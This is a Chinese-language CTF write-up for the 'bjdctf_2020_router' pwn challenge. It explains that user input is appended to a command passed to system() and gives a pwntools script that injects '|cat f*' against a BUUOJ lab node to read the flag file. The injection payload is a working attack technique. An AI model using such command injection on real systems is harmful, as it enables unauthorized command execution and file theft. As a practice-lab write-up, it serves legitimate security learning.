bjdctf_2020_router

bjdctf_2020_router

我们先checksec一下:

1

看了一眼,觉得可能是栈溢出???,放进IDA看看:

2

这个函数是个死循环,也就是说,这函数压根就不会返回,给我整懵逼了,不过case1有system函数,如果给desk复制为/bin/sh就好了,但是前面已经给desk变量赋值了,是一串数字,而我们能控制的buf也只是被strcat写在了desk变量的后面,但是一串数字作为指令,肯定无法被执行,他是错误的执行,所以我们传入”|cat f*”即可,这样的话,相当于 —-system(“错误指令|cat f *”),那依据lunix下|符号的特性,后面的指令就可以执行。payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level = 'debug'
sh = remote("node5.buuoj.cn",28465)

sh.recvuntil(b"Please input u choose:\n")
sh.sendline(b"1")
sh.recvuntil(b"Please input the ip address:\n")
sh.sendline(b"|cat f*")

sh.recvline()
sh.recvline()
sh.recvline()

sh.interactive()